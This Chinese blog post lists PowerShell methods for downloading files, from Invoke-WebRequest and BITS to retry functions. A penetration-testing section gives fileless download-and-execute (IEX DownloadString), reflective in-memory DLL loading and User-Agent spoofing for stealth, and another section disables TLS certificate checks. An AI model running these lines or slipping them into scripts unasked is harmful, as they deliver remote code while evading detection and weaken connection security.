文章目录
- # 基础下载 Invoke-WebRequest -Uri “http://example.com/file.zip” -OutFile “C:tempfile.zip” # 使用别名 iwr “http://example.com/file.zip” -OutFile “C:tempfile.zip” # 下载到当前目录 Invoke-WebRequest “http://example.com/file.exe” -OutFile “file.exe”
- # 方法1 – 直接下载 (New-Object System.Net.WebClient).DownloadFile(“http://example.com/file.exe”, “C:tempfile.exe”) # 方法2 – 分步操作 $webClient = New-Object System.Net.WebClient $webClient.DownloadFile(“http://example.com/file.exe”, “C:tempfile.exe”) $webClient.Dispose()
- # 使用 Invoke-WebRequest 显示进度 Invoke-WebRequest -Uri “http://example.com/largefile.iso” -OutFile “C:templargefile.iso” -Verbose # 使用 WebClient 带进度事件 $url = “http://example.com/file.zip” $output = “C:tempfile.zip” $webClient = New-Object System.Net.WebClient $webClient.DownloadProgressChanged = { Write-Progress -Activity “下载中” -Status “已完成 $($_.ProgressPercentage)%” -PercentComplete $_.ProgressPercentage } $webClient.DownloadFileAsync((New-Object Uri($url)), $output)
- # 下载文本内容 $content = Invoke-WebRequest -Uri “http://example.com/data.txt” | Select-Object -ExpandProperty Content # 直接获取内容 $text = (New-Object System.Net.WebClient).DownloadString(“http://example.com/data.txt”)
- # 带用户名密码的下载 $credential = Get-Credential Invoke-WebRequest -Uri “http://example.com/secure/file.zip” -Credential $credential -OutFile “file.zip” # 直接指定凭据 Invoke-WebRequest -Uri “http://example.com/file” -Headers @{Authorization = “Basic ” + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(“username:password”))}
- # 设置User-Agent和其他头部 $headers = @{ ‘User-Agent’ = ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36’ ‘Accept’ = ‘application/octet-stream’ } Invoke-WebRequest -Uri “http://example.com/file” -Headers $headers -OutFile “download.file”
- # 方法1:添加证书验证回调 add-type @” using System.Net; using System.Security.Cryptography.X509Certificates; public class TrustAllCertsPolicy : ICertificatePolicy { public bool CheckValidationResult( ServicePoint srvPoint, X509Certificate certificate, WebRequest request, int certificateProblem) { return true; } } “@ [System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy # 然后正常下载 Invoke-WebRequest -Uri “https://example.com/file” -OutFile “file.zip”
- # PowerShell 7+ 使用 -SkipCertificateCheck Invoke-WebRequest -Uri “https://example.com/file” -OutFile “file.zip” -SkipCertificateCheck
- function Download-File { param( [string]$Url, [string]$OutputPath, [switch]$ShowProgress ) if ($ShowProgress) { Write-Host “下载: $Url” -ForegroundColor Yellow Write-Host “保存到: $OutputPath” -ForegroundColor Yellow } try { Invoke-WebRequest -Uri $Url -OutFile $OutputPath -ErrorAction Stop if ($ShowProgress) { Write-Host “下载完成!” -ForegroundColor Green } return $true } catch { Write-Error “下载失败: $($_.Exception.Message)” return $false } } # 使用函数 Download-File -Url “http://example.com/tools.zip” -OutputPath “C:toolstools.zip” -ShowProgress
- function Download-MultipleFiles { param( [hashtable]$Files, # @{Url1 = “Path1”; Url2 = “Path2”} [switch]$Parallel ) if ($Parallel) { $jobs = @() foreach ($item in $Files.GetEnumerator()) { $scriptBlock = { param($url, $path) Invoke-WebRequest -Uri $url -OutFile $path } $jobs += Start-Job -ScriptBlock $scriptBlock -ArgumentList $item.Key, $item.Value } $jobs | Wait-Job | Receive-Job } else { foreach ($item in $Files.GetEnumerator()) { Download-File -Url $item.Key -OutputPath $item.Value -ShowProgress } } } # 使用示例 $downloadList = @{ “http://example.com/file1.zip” = “C:tempfile1.zip” “http://example.com/file2.exe” = “C:tempfile2.exe” } Download-MultipleFiles -Files $downloadList
- # 下载并在内存中执行 IEX (New-Object Net.WebClient).DownloadString(‘http://example.com/script.ps1’) # 下载DLL到内存 [Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData(‘http://example.com/tool.dll’))
- # 使用不同的User-Agent $client = New-Object System.Net.WebClient $client.Headers.Add(‘User-Agent’, ‘Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)’) $client.DownloadFile(‘http://example.com/file’, ‘C:tempfile’) # 使用SSL和代理 $proxy = New-Object System.Net.WebProxy(“http://proxy:8080”, $true) $webClient = New-Object System.Net.WebClient $webClient.Proxy = $proxy $webClient.DownloadFile(‘https://example.com/file’, ‘output.file’)
目录
- 1. 基础下载命令
- Invoke-WebRequest (推荐)
- System.Net.WebClient
- 2. 高级下载选项
- 带进度显示的下载
- 下载字符串内容
- 3. 认证和头部设置
- 基本认证
- 自定义请求头
- 4. BITS传输服务(后台下载)
- 5. 处理HTTPS和证书
- 忽略SSL证书错误
- PowerShell Core (7+) 的SSL忽略
- 6. 实用下载函数
- 创建可重用的下载函数
- 批量下载函数
- 7. 渗透测试专用命令
- 内存中执行(不落盘)
- 隐蔽下载
- 8. 错误处理和重试
- 带重试机制的下载
- 使用建议
# 基础下载
Invoke-WebRequest -Uri "http://example.com/file.zip" -OutFile "C:tempfile.zip"
# 使用别名
iwr "http://example.com/file.zip" -OutFile "C:tempfile.zip"
# 下载到当前目录
Invoke-WebRequest "http://example.com/file.exe" -OutFile "file.exe"
# 方法1 - 直接下载
(New-Object System.Net.WebClient).DownloadFile("http://example.com/file.exe", "C:tempfile.exe")
# 方法2 - 分步操作
$webClient = New-Object System.Net.WebClient
$webClient.DownloadFile("http://example.com/file.exe", "C:tempfile.exe")
$webClient.Dispose()
# 使用 Invoke-WebRequest 显示进度
Invoke-WebRequest -Uri "http://example.com/largefile.iso" -OutFile "C:templargefile.iso" -Verbose
# 使用 WebClient 带进度事件
$url = "http://example.com/file.zip"
$output = "C:tempfile.zip"
$webClient = New-Object System.Net.WebClient
$webClient.DownloadProgressChanged = {
Write-Progress -Activity "下载中" -Status "已完成 $($_.ProgressPercentage)%" -PercentComplete $_.ProgressPercentage
}
$webClient.DownloadFileAsync((New-Object Uri($url)), $output)
# 下载文本内容
$content = Invoke-WebRequest -Uri "http://example.com/data.txt" | Select-Object -ExpandProperty Content
# 直接获取内容
$text = (New-Object System.Net.WebClient).DownloadString("http://example.com/data.txt")
# 带用户名密码的下载
$credential = Get-Credential
Invoke-WebRequest -Uri "http://example.com/secure/file.zip" -Credential $credential -OutFile "file.zip"
# 直接指定凭据
Invoke-WebRequest -Uri "http://example.com/file" -Headers @{Authorization = "Basic " + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("username:password"))}
# 设置User-Agent和其他头部
$headers = @{
'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
'Accept' = 'application/octet-stream'
}
Invoke-WebRequest -Uri "http://example.com/file" -Headers $headers -OutFile "download.file"
# 使用BITS后台下载
Start-BitsTransfer -Source "http://example.com/largefile.iso" -Destination "C:templargefile.iso"
# 显示下载进度
Start-BitsTransfer -Source "http://example.com/file" -Destination "C:temp" -DisplayName "我的下载"
# 异步下载
$transfer = Start-BitsTransfer -Source "http://example.com/file" -Destination "C:temp" -Asynchronous
# 检查状态
$transfer | Get-BitsTransfer
# 方法1:添加证书验证回调
add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,
WebRequest request, int certificateProblem) {
return true;
}
}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
# 然后正常下载
Invoke-WebRequest -Uri "https://example.com/file" -OutFile "file.zip"
# PowerShell 7+ 使用 -SkipCertificateCheck
Invoke-WebRequest -Uri "https://example.com/file" -OutFile "file.zip" -SkipCertificateCheck
function Download-File {
param(
[string]$Url,
[string]$OutputPath,
[switch]$ShowProgress
)
if ($ShowProgress) {
Write-Host "下载: $Url" -ForegroundColor Yellow
Write-Host "保存到: $OutputPath" -ForegroundColor Yellow
}
try {
Invoke-WebRequest -Uri $Url -OutFile $OutputPath -ErrorAction Stop
if ($ShowProgress) {
Write-Host "下载完成!" -ForegroundColor Green
}
return $true
}
catch {
Write-Error "下载失败: $($_.Exception.Message)"
return $false
}
}
# 使用函数
Download-File -Url "http://example.com/tools.zip" -OutputPath "C:toolstools.zip" -ShowProgress
function Download-MultipleFiles {
param(
[hashtable]$Files, # @{Url1 = "Path1"; Url2 = "Path2"}
[switch]$Parallel
)
if ($Parallel) {
$jobs = @()
foreach ($item in $Files.GetEnumerator()) {
$scriptBlock = {
param($url, $path)
Invoke-WebRequest -Uri $url -OutFile $path
}
$jobs += Start-Job -ScriptBlock $scriptBlock -ArgumentList $item.Key, $item.Value
}
$jobs | Wait-Job | Receive-Job
}
else {
foreach ($item in $Files.GetEnumerator()) {
Download-File -Url $item.Key -OutputPath $item.Value -ShowProgress
}
}
}
# 使用示例
$downloadList = @{
"http://example.com/file1.zip" = "C:tempfile1.zip"
"http://example.com/file2.exe" = "C:tempfile2.exe"
}
Download-MultipleFiles -Files $downloadList
# 下载并在内存中执行
IEX (New-Object Net.WebClient).DownloadString('http://example.com/script.ps1')
# 下载DLL到内存
[Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData('http://example.com/tool.dll'))
# 使用不同的User-Agent
$client = New-Object System.Net.WebClient
$client.Headers.Add('User-Agent', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)')
$client.DownloadFile('http://example.com/file', 'C:tempfile')
# 使用SSL和代理
$proxy = New-Object System.Net.WebProxy("http://proxy:8080", $true)
$webClient = New-Object System.Net.WebClient
$webClient.Proxy = $proxy
$webClient.DownloadFile('https://example.com/file', 'output.file')
function Download-FileWithRetry {
param(
[string]$Url,
[string]$OutputPath,
[int]$MaxRetries = 3
)
for ($i = 1; $i -le $MaxRetries; $i++) {
try {
Write-Host "尝试下载 (第 $i 次)..." -ForegroundColor Yellow
Invoke-WebRequest -Uri $Url -OutFile $OutputPath -ErrorAction Stop
Write-Host "下载成功!" -ForegroundColor Green
return $true
}
catch {
Write-Warning "第 $i 次下载失败: $($_.Exception.Message)"
if ($i -eq $MaxRetries) {
Write-Error "所有重试均失败"
return $false
}
Start-Sleep -Seconds 5
}
}
}
- 日常使用:推荐
Invoke-WebRequest 或 iwr
- 大文件下载:使用
Start-BitsTransfer 支持断点续传
- 脚本兼容性:
System.Net.WebClient 兼容性最好
- 安全环境:注意SSL证书验证问题
- 渗透测试:根据目标环境选择合适的隐蔽方法
Invoke-WebRequest 或 iwrStart-BitsTransfer 支持断点续传System.Net.WebClient 兼容性最好选择适合你场景的命令,确保在合法授权的环境下使用这些技术。
以上就是PowerShell远程下载文件的多种方法和命令大全的详细内容,更多关于PowerShell远程下载文件的资料请关注风君子博客其它相关文章!
您可能感兴趣的文章:
- PowerShell实现远程服务器下载文件的多种方法详解
- 使用PowerShell下载文件的5种简单方法
- 利用PowerShell一键下载Nuget某个包的所有版本
- PowerShell小技巧之实现文件下载(类wget)
- Powershell小技巧之轻松从网上下载文件